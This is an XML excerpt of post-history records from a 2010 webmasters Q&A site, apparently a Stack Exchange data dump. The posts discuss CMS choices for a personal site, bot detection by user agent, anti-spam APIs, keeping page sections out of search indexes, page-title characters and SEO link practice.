  <row Id="2444" PostHistoryTypeId="2" PostId="1348" RevisionGUID="d32cf487-b874-47c3-8a90-ce51c148f302" CreationDate="2010-07-20T22:05:09.907" UserDisplayName="Bud" Text="Try this...&#xD;&#xA;&#xD;&#xA;	$UI_Agent = $_SERVER['HTTP_USER_AGENT'];&#xD;&#xA;&#xD;&#xA;    if(eregi(&quot;bot&quot;, $UI_Agent)) {&#xD;&#xA;        // do your bot stuff here&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;HTH,&#xD;&#xA;Bud" />
  <row Id="2445" PostHistoryTypeId="5" PostId="1347" RevisionGUID="39b12ec2-28d9-4d2a-baf7-9d5ccf1c6345" CreationDate="2010-07-20T22:20:54.230" UserId="353" Comment="Removed the note since the new tag was added. Thanks!" Text="I'm a software engineer with little web experience currently in the process of wanting to actually using my web host and domain name for something other than a file dumping ground for files that I need to give other people access to. My plan is to somehow deploy a personal/professional website and blog, either using FOSS off-the-shelf products, custom software, or off-the-shelf components with custom modules/plugins.&#xD;&#xA;&#xD;&#xA;My requirements are:&#xD;&#xA;&#xD;&#xA; 1. Semantic HTML (well formed, proper use of attributes, microformats where appropriate, use of CSS for style and HTML for markup)&#xD;&#xA; 2. Validating HTML and CSS (XHTML, HTML4, HTML5 all acceptable - as long as it validates out of the box)&#xD;&#xA; 3. Support for a blog&#xD;&#xA; 4. Support for editing and managing my resume in HTML form as well as PDF, ODT, and DOC formats that I make available for download&#xD;&#xA; 5. Written in a language that I know and my host supports - PHP preferred since that's easiest for my to host and I also am familiar with it&#xD;&#xA; 6. Easy to obtain or write a themes for&#xD;&#xA; 7. Support for static pages that change infrequently (about me), static pages that change sometimes (project lists), dynamic pages (blog, comments), and forms (contact me)&#xD;&#xA; 8. Plays nicely with other tools in the same environment - I use Trac on the same host for project management and might deploy other software such as a personal MediaWiki deployment&#xD;&#xA; 9. Easy to integrate with other social media (Twitter? Facebook? Pandora?) - not require, but would be nice&#xD;&#xA; 10. Generation and maintenance of the sitemap and/or robots.txt&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA; - What, if any, FOSS solution would be appropriate for me? I've toyed around with Drupal and WordPress in the past - WordPress struck me as a solid tool, but at the time was very blog-focused (I understand it's changed more recently to be more CMS-like).&#xD;&#xA; - What free (but not open source) solutions might be appropriate for me? I would prefer to have full access to the source, but it's not a requirement.&#xD;&#xA; - If I am going to roll my own, where should I begin? I would prefer not to roll my own - my software engineering background tells me that my requirements should be common and I should be able to find some existing solution(s) that I can combine to make this work.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="2446" PostHistoryTypeId="2" PostId="1349" RevisionGUID="204dc791-e5b6-4bcc-a5ce-4917edd1ba99" CreationDate="2010-07-20T22:23:17.037" UserDisplayName="Bud" Text="One thing I do is use the API from http://www.stopforumspam.com to check for spammers.  Feel free to contact me for details and I will be glad to help you with it!&#xD;&#xA;&#xD;&#xA;Bud Manz&#xD;&#xA;&#xD;&#xA;Manz Web Designs, LLC" />
  <row Id="2447" PostHistoryTypeId="2" PostId="1350" RevisionGUID="5327ca94-88ab-4ec9-b33b-1900e92de90e" CreationDate="2010-07-20T22:33:34.360" UserId="427" Text="I don't think you're going to find any FOSS project that does what you want it to do OTB. WordPress is solid but you'd have to work a little to generate what you want. Drupal might be more of a headache than it looks at first. I know people love it, and I know I've tried to, but I'd rather not worry about having to maintain that many hacks between version upgrades.&#xD;&#xA;&#xD;&#xA;Frankly, I'd go with WordPress if I were in your shoes, and custom build plugins for what you need, if you don't already find some FOSS ones.&#xD;&#xA;&#xD;&#xA;The caveat is that ever since Matt Mullenweg (CEO of Automattic, the company behind WordPress) started pulling a Richard Stallman on everyone, he believes and advocates that any and all themes (theme code, not images/css) and plugins (plugin code) is GPL by virtue of being a derivative work of WordPress in his (what I personally find distorted) view. So you're good if you do it for yourself, but if you have &quot;distribution&quot;, as in give the plugins to 2 people, you may be legally bound to OS them yourself, which is something you may or may not want to do." />
  <row Id="2448" PostHistoryTypeId="2" PostId="1351" RevisionGUID="4978a6f2-8d21-46aa-9a2b-fb6c982b73b6" CreationDate="2010-07-20T22:37:13.203" UserId="60" Text="It depends on what you want to do, and get out of it:&#xD;&#xA;&#xD;&#xA; 1. **Learn a Technology Stack**&lt;br&gt;I wrote most of the code that powers my personal site as a learning exercise to get up to speed with the latest changes in the technology I was working in, and have changed it as my focus changed - originally a classic ASP site, then it moved to ASP.NET 1.1, then to 2.0, and is now running on ASP.NET MVC 2.0 after a recent upgrade from ASP.NET MVC 1.0&#xD;&#xA; 2. **Just run your site**&lt;br&gt;Both at work, and for a couple of church sites I run in my spare time, I've used packaged software - at work we're talking &quot;enterprise&quot; CMS's (MOSS, Tridion), for the church sites it's FOSS (N2 CMS) - because they offered features above and beyond those I was prepared to write.&#xD;&#xA;&#xD;&#xA;If your profession is building websites, then there's an argument for using the technology you're &quot;selling&quot;, if it's something else, then I'd recommend spending your time on the content rather than technology.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2449" PostHistoryTypeId="2" PostId="1352" RevisionGUID="0ef61053-3daf-4386-9fd1-a5c48c86bfe2" CreationDate="2010-07-20T22:38:25.417" UserId="9301" Text="washingtonpost is a large website that runs on Django according to http://www.djangoproject.com/." />
  <row Id="2450" PostHistoryTypeId="2" PostId="1353" RevisionGUID="ecfde644-ad82-45db-a0d3-78202e47b2cc" CreationDate="2010-07-20T22:40:40.360" UserId="26" Text="The buy-vs-build question is an eternal one. I would say [WordPress][1] and [Drupal][2] both meet your criteria. I have more experience with WordPress so I'd do it in WordPress. To address your requirements:&#xD;&#xA;&#xD;&#xA; 1. *Semantic HTML (well formed, proper use of attributes, microformats where appropriate, use of CSS for style and HTML for markup)*&#xD;&#xA;&#xD;&#xA;    **Yes**, most [themes][3] for WordPress use xhtml by default with no trouble. Microformats-related markup you probably will need to do by hand in an html view, though there may be plugins which facilitate that.&#xD;&#xA;&#xD;&#xA; 1. *Validating HTML and CSS (XHTML, HTML4, HTML5 all acceptable - as long as it validates out of the box)*&#xD;&#xA;&#xD;&#xA;    **Yes**, most themes for WordPress validate or are very close to validating without much trouble. There's great documentation for theming.&#xD;&#xA;&#xD;&#xA; 1. *Support for a blog*&#xD;&#xA;&#xD;&#xA;    **Yes**, absolutely.&#xD;&#xA;&#xD;&#xA; 1. *Support for editing and managing my resume in HTML form as well as PDF, ODT, and DOC formats that I make available for download*&#xD;&#xA;&#xD;&#xA;    **No**, not that I can tell. Export to PDF or other formats is not something I've seen done, though that does not mean it does not exist.&#xD;&#xA;&#xD;&#xA; 1. *Written in a language that I know and my host supports - PHP preferred since that's easiest for my to host and I also am familiar with it*&#xD;&#xA;&#xD;&#xA;    **Yes**, WordPress = PHP + MySQL + Apache works best for `mod_rewrite`&#xD;&#xA;&#xD;&#xA; 1. *Easy to obtain or write a themes for*&#xD;&#xA;&#xD;&#xA;    **Yes**, see [Theme Development][4]&#xD;&#xA;&#xD;&#xA; 1. *Support for static pages that change infrequently (about me), static pages that change sometimes (project lists), dynamic pages (blog, comments), and forms (contact me)*&#xD;&#xA;&#xD;&#xA;    **Yes** pages are managed in WordPress under the Pages part of the interface. Contact forms work well with plugins such as [Contact Form 7][5]&#xD;&#xA;&#xD;&#xA; 1. *Plays nicely with other tools in the same environment - I use Trac on the same host for project management and might deploy other software such as a personal MediaWiki deployment*&#xD;&#xA;&#xD;&#xA;    **Yes**, though you may need to add some rewrite rules so that not everything points at WordPress. I run WordPress in a subdirectory and let it handle everything usually. You may need to add a specifier to have WordPress ignore a MediaWiki directory stem.&#xD;&#xA;&#xD;&#xA; 1. *Easy to integrate with other social media (Twitter? Facebook? Pandora?) - not require, but would be nice*&#xD;&#xA;&#xD;&#xA;    **Yes**, through plugins. By default you can also pull in RSS feeds into WordPress sidebars.&#xD;&#xA;&#xD;&#xA; 1. *Generation and maintenance of the sitemap and/or `robots.txt`*&#xD;&#xA;&#xD;&#xA;    **Yes**, [Google Sitemap Generator][6].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/&#xD;&#xA;  [2]: http://drupal.org/&#xD;&#xA;  [3]: http://wordpress.org/extend/themes/&#xD;&#xA;  [4]: http://codex.wordpress.org/Theme_Development&#xD;&#xA;  [5]: http://codex.wordpress.org/Theme_Development&#xD;&#xA;  [6]: http://wordpress.org/extend/plugins/contact-form-7/" />
  <row Id="2451" PostHistoryTypeId="5" PostId="1351" RevisionGUID="3a6fe8ce-ed27-4856-b474-2fa47ec5c11b" CreationDate="2010-07-20T22:49:15.433" UserId="60" Comment="Responding to comment." Text="It depends on what you want to do, and get out of it:&#xD;&#xA;&#xD;&#xA; 1. **Learn a Technology Stack**&lt;br&gt;I wrote most of the code that powers my personal site as a learning exercise to get up to speed with the latest changes in the technology I was working in, and have changed it as my focus changed - originally a classic ASP site, then it moved to ASP.NET 1.1, then to 2.0, and is now running on ASP.NET MVC 2.0 after a recent upgrade from ASP.NET MVC 1.0&#xD;&#xA; 2. **Just run your site**&lt;br&gt;Both at work, and for a couple of church sites I run in my spare time, I've used packaged software - at work we're talking &quot;enterprise&quot; CMS's (MOSS, Tridion), for the church sites it's FOSS ([N2 CMS][1]) - because they offered features above and beyond those I was prepared to write.&#xD;&#xA;&#xD;&#xA;If your profession is building websites, then there's an argument for using the technology you're &quot;selling&quot;, if it's something else, then I'd recommend spending your time on the content rather than technology.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Responding to comment**&#xD;&#xA;&#xD;&#xA;Then I would recommend picking one off the shelf - I can't offer much of a recommendation in the PHP sphere as that's not my speciality I'm afraid. If you can cope with some C# [N2 CMS][1] is very flexible, but doesn't have the huge plug-in/theme base of something like WordPress, which by the sounds of it would probably suit your needs fairly well...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://n2cms.com" />
  <row Id="2452" PostHistoryTypeId="5" PostId="1353" RevisionGUID="f57508ab-ba9e-4aeb-9b74-757dc03eae5e" CreationDate="2010-07-20T22:51:47.537" UserId="26" Comment="added 17 characters in body" Text="The buy-vs-build question is an eternal one. I would say [WordPress][1] and [Drupal][2] both meet your criteria. I have more experience with WordPress so I'd do it in WordPress. To address your requirements:&#xD;&#xA;&#xD;&#xA; 1. *Semantic HTML (well formed, proper use of attributes, microformats where appropriate, use of CSS for style and HTML for markup)*&#xD;&#xA;&#xD;&#xA;    **Yes**, most [themes][3] for WordPress use xhtml by default with no trouble. Microformats-related markup you probably will need to do by hand in an html view, though there may be plugins which facilitate that.&#xD;&#xA;&#xD;&#xA; 1. *Validating HTML and CSS (XHTML, HTML4, HTML5 all acceptable - as long as it validates out of the box)*&#xD;&#xA;&#xD;&#xA;    **Yes**, most themes for WordPress validate or are very close to validating without much trouble. There's great documentation for theming.&#xD;&#xA;&#xD;&#xA; 1. *Support for a blog*&#xD;&#xA;&#xD;&#xA;    **Yes**, absolutely.&#xD;&#xA;&#xD;&#xA; 1. *Support for editing and managing my resume in HTML form as well as PDF, ODT, and DOC formats that I make available for download*&#xD;&#xA;&#xD;&#xA;    **No**, not that I can tell. Export to PDF or other formats is not something I've seen done, though that does not mean it does not exist.&#xD;&#xA;&#xD;&#xA; 1. *Written in a language that I know and my host supports - PHP preferred since that's easiest for my to host and I also am familiar with it*&#xD;&#xA;&#xD;&#xA;    **Yes**, WordPress = PHP + MySQL + Apache works best for `mod_rewrite`&#xD;&#xA;&#xD;&#xA; 1. *Easy to obtain or write a themes for*&#xD;&#xA;&#xD;&#xA;    **Yes**, see [Theme Development][4]&#xD;&#xA;&#xD;&#xA; 1. *Support for static pages that change infrequently (about me), static pages that change sometimes (project lists), dynamic pages (blog, comments), and forms (contact me)*&#xD;&#xA;&#xD;&#xA;    **Yes** pages are managed in WordPress under the Pages part of the interface. Contact forms work well with plugins such as [Contact Form 7][5]&#xD;&#xA;&#xD;&#xA; 1. *Plays nicely with other tools in the same environment - I use Trac on the same host for project management and might deploy other software such as a personal MediaWiki deployment*&#xD;&#xA;&#xD;&#xA;    **Yes**, though you may need to add some rewrite rules so that not everything points at WordPress. I run WordPress in a subdirectory and let it handle everything usually. You may need to add a specifier to have WordPress ignore a MediaWiki directory stem.&#xD;&#xA;&#xD;&#xA; 1. *Easy to integrate with other social media (Twitter? Facebook? Pandora?) - not require, but would be nice*&#xD;&#xA;&#xD;&#xA;    **Yes**, through plugins. By default you can also pull in RSS feeds into WordPress sidebars.&#xD;&#xA;&#xD;&#xA; 1. *Generation and maintenance of the sitemap and/or `robots.txt`*&#xD;&#xA;&#xD;&#xA;    **Yes**, [Google Sitemap Generator][6].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/&#xD;&#xA;  [2]: http://drupal.org/&#xD;&#xA;  [3]: http://wordpress.org/extend/themes/&#xD;&#xA;  [4]: http://codex.wordpress.org/Theme_Development&#xD;&#xA;  [5]: http://wordpress.org/extend/plugins/contact-form-7/&#xD;&#xA;  [6]: http://wordpress.org/extend/plugins/google-sitemap-generator/" />
  <row Id="2453" PostHistoryTypeId="2" PostId="1354" RevisionGUID="c9ce0c7a-25b4-4746-bac6-80d7452a1828" CreationDate="2010-07-20T22:57:51.320" UserId="60" Text="The usual recommendation we hear from SEO consultants is that you should really only use a sub-domain for short-lived &quot;micro-site&quot; type content, and all long-term content should live on the main site.&#xD;&#xA;&#xD;&#xA;As others have pointed out, you lose some of the &quot;authority&quot; (and therefore Page Rank, etc.) of the main site when you go out to a sub-domain because they are treated as separate sites - you've clearly decided that you don't want the content on the &quot;main&quot; site, therefore it is less relevant." />
  <row Id="2454" PostHistoryTypeId="5" PostId="1347" RevisionGUID="0e4d1400-955e-4a01-8dfa-136c9d05fadb" CreationDate="2010-07-20T22:58:24.610" UserId="353" Comment="added 24 characters in body" Text="I'm a software engineer with little web experience currently in the process of wanting to actually using my web host and domain name for something other than a file dumping ground for files that I need to give other people access to. My plan is to somehow deploy a personal/professional website and blog, either using FOSS off-the-shelf products, custom software, or off-the-shelf components with custom modules/plugins.&#xD;&#xA;&#xD;&#xA;My requirements are:&#xD;&#xA;&#xD;&#xA; 1. Semantic HTML (well formed, proper use of attributes, microformats where appropriate, use of CSS for style and HTML for markup)&#xD;&#xA; 2. Validating HTML and CSS (XHTML, HTML4, HTML5 all acceptable - as long as it validates out of the box)&#xD;&#xA; 3. Support for a blog&#xD;&#xA; 4. Support for editing and managing my resume in HTML form as well managing uploaded files in PDF, ODT, and DOC formats that I make available for download&#xD;&#xA; 5. Written in a language that I know and my host supports - PHP preferred since that's easiest for my to host and I also am familiar with it&#xD;&#xA; 6. Easy to obtain or write a themes for&#xD;&#xA; 7. Support for static pages that change infrequently (about me), static pages that change sometimes (project lists), dynamic pages (blog, comments), and forms (contact me)&#xD;&#xA; 8. Plays nicely with other tools in the same environment - I use Trac on the same host for project management and might deploy other software such as a personal MediaWiki deployment&#xD;&#xA; 9. Easy to integrate with other social media (Twitter? Facebook? Pandora?) - not require, but would be nice&#xD;&#xA; 10. Generation and maintenance of the sitemap and/or robots.txt&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA; - What, if any, FOSS solution would be appropriate for me? I've toyed around with Drupal and WordPress in the past - WordPress struck me as a solid tool, but at the time was very blog-focused (I understand it's changed more recently to be more CMS-like).&#xD;&#xA; - What free (but not open source) solutions might be appropriate for me? I would prefer to have full access to the source, but it's not a requirement.&#xD;&#xA; - If I am going to roll my own, where should I begin? I would prefer not to roll my own - my software engineering background tells me that my requirements should be common and I should be able to find some existing solution(s) that I can combine to make this work.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="2455" PostHistoryTypeId="2" PostId="1355" RevisionGUID="25041c62-fec4-4c72-be19-d7422b97473d" CreationDate="2010-07-20T22:59:33.313" UserId="125" Text="I have Blogger setup with the Blog Archive panel shown on every page so that users can easily get to old posts. The problem is that it lists the title of each page in this panel, meaning that the current page is getting keywords not directly relevant to it but to a different page.&#xD;&#xA;&#xD;&#xA;For example, I might be writing about oranges, but a week ago I was writing about apples. The page about oranges is now seen by the search engines to also be talking about apples since there is a link in the Archive panel to my post from a week ago about apples. The opposite is also true where the apples page is also indexing the orange keywords.&#xD;&#xA;&#xD;&#xA;Is there any way to exclude a certain section of a page from being indexed? (e.g. like having a whole `&lt;div&gt;` which is tagged as `noindex` or something similar.)&#xD;&#xA;&#xD;&#xA;I know that Blogger has an option to remove the title of the pages in the Archive Panel, but I would prefer if they stayed there so that users know what posts are available." />
  <row Id="2456" PostHistoryTypeId="1" PostId="1355" RevisionGUID="25041c62-fec4-4c72-be19-d7422b97473d" CreationDate="2010-07-20T22:59:33.313" UserId="125" Text="Is there any way to have search engines not index a certain section of a page?" />
  <row Id="2457" PostHistoryTypeId="3" PostId="1355" RevisionGUID="25041c62-fec4-4c72-be19-d7422b97473d" CreationDate="2010-07-20T22:59:33.313" UserId="125" Text="&lt;seo&gt;&lt;indexing&gt;" />
  <row Id="2458" PostHistoryTypeId="2" PostId="1356" RevisionGUID="efb2f713-451e-4511-94a5-2cae15da8b9f" CreationDate="2010-07-20T23:11:07.553" UserId="26" Text="Supposedly you can add the class `robots-nocontent` to elements on your page, like this:&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;robots-nocontent&quot;&gt;&#xD;&#xA;    &#xD;&#xA;        &lt;p&gt;Ignore this stuff.&lt;/p&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;[Yahoo respects this][1], though I don't know if other search engines respect this. It appears [Google is not supporting this][2] at this time. I suspect if you load your content via ajax you would get the same effect of it not being present on the page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://help.yahoo.com/l/us/yahoo/search/indexing/slurp-14.html&#xD;&#xA;  [2]: http://www.jonkragh.com/index.php/how-to-get-google-to-index-only-part-of-a-webpage/" />
  <row Id="2459" PostHistoryTypeId="2" PostId="1357" RevisionGUID="2a9c715a-a300-483e-8a45-e6ca31b3630c" CreationDate="2010-07-20T23:16:28.090" UserId="26" Text="I'm not sure &quot;largeness&quot; matters. Django is a well-respected and impressive framework which has managed some great sites, particularly [lawrence.com][1]. You can look at [djangosites.com][2] for other sites running django.&#xD;&#xA;&#xD;&#xA;If you're looking for a &quot;case study&quot; of how and why django is great and can scale, check out [**Four crowdsourcing lessons from the Guardian’s (spectacular) expenses-scandal experiment**][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.lawrence.com/&#xD;&#xA;  [2]: http://www.djangosites.org/&#xD;&#xA;  [3]: http://www.niemanlab.org/2009/06/four-crowdsourcing-lessons-from-the-guardians-spectacular-expenses-scandal-experiment/" />
  <row Id="2460" PostHistoryTypeId="6" PostId="1342" RevisionGUID="09b69efd-5ca3-4a9b-88de-6f04ace18111" CreationDate="2010-07-20T23:20:50.547" UserId="132" Comment="edited tags" Text="&lt;php&gt;&lt;python&gt;&lt;django&gt;" />
  <row Id="2465" PostHistoryTypeId="2" PostId="1359" RevisionGUID="6e36d0e0-958b-46bc-b723-757f4b31e5bd" CreationDate="2010-07-21T00:03:45.870" UserId="233" Text="That looks *incredibly spammy* to me, and chances are it would to search engines. Your users may also be reluctant to use that code because of the h1 (you can only have one per page per the spec). Plus they might think it (and the other elements) will affect how it looks on their site.&#xD;&#xA;&#xD;&#xA;You can get great SEO value with a simple image link:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;example/com&quot;&gt;&lt;img src=&quot;example.com/image.png&quot; alt=&quot;link text&quot; style=&quot;border:0&quot; /&gt;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;I believe Google will give some weight to the alt text as if it was a text link, but it's probably not as much as a regular text link. You could offer code for a regular text link as an alternative, if that fits your badge system.&#xD;&#xA;&#xD;&#xA;Remember, you want to get as many links as possible, so make it *as simple as possible* for people to link to you! 10 links without keywords from good sites is much better than one spammy link with keywords." />
  <row Id="2466" PostHistoryTypeId="2" PostId="1360" RevisionGUID="413d376e-ac33-4077-ae51-3121272b5992" CreationDate="2010-07-21T00:47:10.837" UserId="233" Text="I have noticed a few oddities recently with the titles of web pages in SERPs. I started using some special characters in my page titles in order to make them look slightly more appealing in SERPs and perhaps stand out a bit more:&#xD;&#xA;&#xD;&#xA;    &amp;#8216;Item name&amp;#8217; widget &amp;#8226; Site Name&#xD;&#xA;    (( Item name )) widget &amp;#8226; Site Name&#xD;&#xA;&#xD;&#xA;* In Google and Yahoo, the curly quotes (8216/8217) are converted to straight quotes.&#xD;&#xA;* In Bing and Yahoo, all special characters at the front of the title are removed, i.e. the above shows as `Item name&amp;#8217; ...etc` or `Item name )) ...etc`&#xD;&#xA;&#xD;&#xA;The bullet point (8226) displays fine in all three, as do various other Unicode characters (I've seen music notes in SERPs before now).&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA;1. Does anyone know if there any particular characters that are safe/unsafe?&#xD;&#xA;2. Is it possible to get search engines to show the characters as I code them, and include the ones at the front of the title?&#xD;&#xA;3. Is there any data on what title formats garner a higher click-through rate?" />
  <row Id="2467" PostHistoryTypeId="1" PostId="1360" RevisionGUID="413d376e-ac33-4077-ae51-3121272b5992" CreationDate="2010-07-21T00:47:10.837" UserId="233" Text="Display of special characters in the page title in SERPs" />
  <row Id="2468" PostHistoryTypeId="3" PostId="1360" RevisionGUID="413d376e-ac33-4077-ae51-3121272b5992" CreationDate="2010-07-21T00:47:10.837" UserId="233" Text="&lt;serps&gt;&lt;title&gt;&lt;unicode&gt;" />
  <row Id="2469" PostHistoryTypeId="6" PostId="1298" RevisionGUID="c09eedf4-08e1-4aae-8797-84c63be6ed17" CreationDate="2010-07-21T02:34:10.380" UserId="180" Comment="Added tag" Text="&lt;moderation&gt;&lt;subjective&gt;&lt;community-management&gt;" />
  <row Id="2470" PostHistoryTypeId="6" PostId="1031" RevisionGUID="d51df30e-777e-42af-99aa-d888bbd5125d" CreationDate="2010-07-21T02:34:39.677" UserId="180" Comment="Added tag" Text="&lt;moderation&gt;&lt;community-management&gt;" />
  <row Id="2471" PostHistoryTypeId="2" PostId="1361" RevisionGUID="7a393388-6793-40de-9560-5447f5932375" CreationDate="2010-07-21T02:40:59.787" UserId="108" Text="I believe you can use an iFrame and the code inside will only be indexed if you let Google index that page.  So if you put a nofollow in your robots.txt for the file that is loaded from in the iFrame you should be ok." />
  <row Id="2472" PostHistoryTypeId="2" PostId="1362" RevisionGUID="fbe782b6-1b9a-4a9d-9691-cc8645d200b7" CreationDate="2010-07-21T02:44:22.073" UserId="745" Text="I wouldn't rely too much on special characters in my title or meta description. It might work in the short term and it might even improve your click-through-rate (CTR) for a while, but IMO it's the type of thing that Google and other search engines could phase out over time if they see it getting abused.&#xD;&#xA;&#xD;&#xA;However, as far as a format for a higher CTR goes, there are some things you can do to improve it. &#xD;&#xA;&#xD;&#xA;The first is to avoid an ellipsis (...) in both your title and meta description. Search engines will add an ellipsis for both if they exceed a certain length. 65 characters for the title, 150 for the meta description will cover you for the big 3 search engines. Avoiding the ellipsis will give your listing a more authoritative presence because it will be a complete thought and not drift off into the unknown.&#xD;&#xA;&#xD;&#xA;The second thing is to view your title and meta description as an advertisement. It should be useful, descriptive, and succinct. The purpose of your title should be to get the user to go through and read the page. The purpose of the description should be to get the user to click on the title. Everything that would apply to creating an ad on Google AdWords should apply to your title and description.&#xD;&#xA;&#xD;&#xA;A third thing you can do to improve your CTR, and you'll have to search around for how to do it, is to get an indented listing (one listing indented beneath a first, both from your site). Again, it makes the listings more authoritative.&#xD;&#xA;&#xD;&#xA;Another upside of keeping your titles and meta descriptions short, interesting, and to the point is that many social media websites also utilize them for when pages are submitted or bookmarked. If it works well in the search engines, it has a chance of doing well in social media, and vice versa.&#xD;&#xA;&#xD;&#xA;Finally, if you're not sure about what will convert, test it out. Social media is a great way to do it for free and, if you have the budget, Google AdWords is an even better choice.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2473" PostHistoryTypeId="2" PostId="1363" RevisionGUID="d27143bc-9792-48b1-abdd-96fbed9d45b9" CreationDate="2010-07-21T03:05:57.387" UserId="180" Text="It sounds like, for your use case, a packaged CMS is likely the best way to go.&#xD;&#xA;&#xD;&#xA;It's been a few years since I last evaluated PHP CMS, and at the time my main requirement was clean extensibility.  At the time, Joomla was a strong contender, and Xaraya looked intellectually interesting though the development cycle seemed slow.&#xD;&#xA;&#xD;&#xA;If you're interested in trying a few out, the [opensourceCMS site][1] allows you to try without actually having to install yourself.  Last time I tried it it seemed a lot less ad-ridden, but I guess you've got to pay the bills.  Many of the CMS run their own demo sites too (e.g. [Joomla Demo][2], [Xaraya Demo][3])&#xD;&#xA;&#xD;&#xA;  [1]: http://php.opensourcecms.com/scripts/show.php?catid=1&#xD;&#xA;  [2]: http://demo.joomla.org/&#xD;&#xA;  [3]: http://demo.xaraya.com/" />
  <row Id="2474" PostHistoryTypeId="2" PostId="1364" RevisionGUID="35fdcbef-8496-4b03-b83a-6ea59607d737" CreationDate="2010-07-21T03:15:00.543" UserId="108" Text="The site I am working on has few hundred distributors, each one has its own page, and a link to that distributors website.  Some of the distributors have multiple locations and so they have multiple pages with the same link.&#xD;&#xA;&#xD;&#xA;Should I put a rel=&quot;nofollow&quot; on those external links so that I don't send my link juice out of the site or should I do it?  I am not really sure what is best for my site." />
  <row Id="2475" PostHistoryTypeId="1" PostId="1364" RevisionGUID="35fdcbef-8496-4b03-b83a-6ea59607d737" CreationDate="2010-07-21T03:15:00.543" UserId="108" Text="How to handle hundred of external links in a site" />
  <row Id="2476" PostHistoryTypeId="3" PostId="1364" RevisionGUID="35fdcbef-8496-4b03-b83a-6ea59607d737" CreationDate="2010-07-21T03:15:00.543" UserId="108" Text="&lt;seo&gt;" />
  <row Id="2477" PostHistoryTypeId="2" PostId="1365" RevisionGUID="f136ef8d-dcab-44e5-897a-f9e93eb05ad6" CreationDate="2010-07-21T03:52:18.040" UserId="903" Text="Analytics tend to be a lot easier when you don't have sub-domains." />
  <row Id="2478" PostHistoryTypeId="2" PostId="1366" RevisionGUID="915ec55d-6f1c-4ab6-b787-4525dd58b1f5" CreationDate="2010-07-21T03:54:21.973" UserId="904" Text="I've been searching for a few days to find some good reading material on web application design, and haven't been able to find much (too many buzzwords or something). I'm looking for something that covers some design patterns for common situations in user-based systems (authentication, permissions/roles, preferences/configurations, encryption, payment, etc.) which might detail common implementations on server-side (hopefully in MVC style) application and database schema layouts. I think normally a lot of these are implemented in existing frameworks such as Struts, Springs, etc. but in some cases I might have to roll-my-own small framework or add to an existing and I need something to help me understand more about how these are implemented, or proper ways for implementing them myself.&#xD;&#xA;&#xD;&#xA;There is a lot of information available but most of what I find seems to be scattered, and specifically I'd like to find a book or few (reading on screen is bothersome for my eyes).&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="2479" PostHistoryTypeId="1" PostId="1366" RevisionGUID="915ec55d-6f1c-4ab6-b787-4525dd58b1f5" CreationDate="2010-07-21T03:54:21.973" UserId="904" Text="Web Application Design - Good reading materials?" />
  <row Id="2480" PostHistoryTypeId="3" PostId="1366" RevisionGUID="915ec55d-6f1c-4ab6-b787-4525dd58b1f5" CreationDate="2010-07-21T03:54:21.973" UserId="904" Text="&lt;design&gt;&lt;web-development&gt;" />
  <row Id="2481" PostHistoryTypeId="2" PostId="1367" RevisionGUID="e5152973-cfda-426c-8b28-1af8fe966abc" CreationDate="2010-07-21T03:55:59.693" UserId="180" Text="No, there's no point in trying to [sculpt PageRank][1] this way, as Matt Cutts makes clear in the linked blog post.&#xD;&#xA;&#xD;&#xA;The only reasons to put rel=&quot;nofollow&quot; on those pages are if they are paying for the links (could get you penalized in search results) or if you don't trust those sites to not be in &quot;bad neighbourhoods&quot; and harm your reputation by linking to them.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/pagerank-sculpting/" />
  <row Id="2482" PostHistoryTypeId="2" PostId="1368" RevisionGUID="6af8be86-7fa4-4697-a8da-8f2c9bfe436b" CreationDate="2010-07-21T03:56:41.503" UserId="903" Text="[Maximum ASP][1] is highly regarded.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.maximumasp.com/" />
  <row Id="2483" PostHistoryTypeId="2" PostId="1369" RevisionGUID="a544cfae-6cd2-4568-bddf-39871ce5a281" CreationDate="2010-07-21T05:05:28.950" UserId="369" Text="Personally I use Drupal for such things. Drupal is a content management system, it takes a bit to get setup and a developer can be expensive if you want to do anything real fancy, but the end result is usually a good site. If it is setup well then it is easy to use also.&#xD;&#xA;&#xD;&#xA;more info at druapl.org" />
  <row Id="2484" PostHistoryTypeId="2" PostId="1370" RevisionGUID="21a28975-8c9a-4749-939b-262d0c8bf568" CreationDate="2010-07-21T07:37:05.073" UserId="711" Text="There have been a variety of attempts to be sneaky with titles and snippets by using special characters, so search engines have generally worked to sanitize what they show there. Sometimes this results in characters being removed (eg stars, arrows, etc), sometimes it can even result in search engines creating a title of their own (Google sometimes does that when the given title appears to be bad). My recommendation would be to stick to the normal characters from the language you're writing in and focus on the content. &#xD;&#xA;&#xD;&#xA;Titles and descriptions / snippets are very important when users see your page listed in the search results -- so don't forget to test them: try different kinds of titles, different kinds of descriptions and see how users respond to them. Search engines are generally fairly quick in updating the listings when they're recrawled, so you could for instance track this over a period of a few weeks, with different settings (or use different pages / sites to test it). &#xD;&#xA;&#xD;&#xA;Regarding descriptions / snippets, keep in mind that they can be different depending on the query that the user makes. Check your logs and try the queries that users are making to see the snippets that are shown. If the query is not in the description meta tag at all, it might even be that content from the page is shown directly." />
